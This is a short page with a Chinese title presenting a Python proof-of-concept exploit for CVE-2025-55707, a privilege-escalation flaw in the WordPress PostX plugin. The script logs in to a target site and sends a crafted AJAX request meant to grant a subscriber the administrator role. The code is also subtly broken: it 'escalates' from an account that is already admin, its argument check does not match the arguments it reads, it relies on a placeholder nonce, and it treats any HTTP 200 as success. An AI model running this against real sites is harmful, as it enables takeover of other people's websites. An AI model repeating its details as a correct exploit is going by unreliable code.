CVE-2025-55707 WordPress PostX插件权限提升漏洞

# CVE-2025-55707 PoC - WordPress PostX Plugin Privilege Escalation # Author: Security Researcher # Target: PostX Plugin <= 4.1.35 import requests import sys from urllib.parse import urljoin def exploit_postx_privilege_escalation(target_url, username, password): """ Exploit for CVE-2025-55707: PostX Plugin Privilege Escalation This PoC demonstrates how an authenticated admin can escalate privileges. """ session = requests.Session() login_url = urljoin(target_url, '/wp-login.php') # Step 1: Login as admin user login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print('[+] Attempting to login as admin...') response = session.post(login_url, data=login_data, allow_redirects=True) if 'wp-admin' not in response.url and 'login' in response.url: print('[-] Login failed!') return False print('[+] Login successful!') # Step 2: Identify vulnerable endpoint # The vulnerability exists in PostX plugin's AJAX handlers ajax_url = urljoin(target_url, '/wp-admin/admin-ajax.php') # Step 3: Exploit privilege escalation via plugin's options handler # This exploits the incorrect privilege assignment in the plugin exploit_data = { 'action': 'postx_save_settings', 'postx_option': 'user_role_settings', 'new_admin_role': 'administrator', 'target_user': 'subscriber', # Target low-privilege user 'nonce': 'REPLACE_WITH_VALID_NONCE' # Need valid nonce from page source } print('[+] Sending privilege escalation payload...') response = session.post(ajax_url, data=exploit_data) if response.status_code == 200: print('[+] Exploit sent - check for privilege changes') print('[+] Verify by checking user roles in WordPress admin panel') return True # Usage example if __name__ == '__main__': if len(sys.argv) < 5: print('Usage: python exploit.py <target_url> <username> <password>') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_postx_privilege_escalation(target, user, pwd)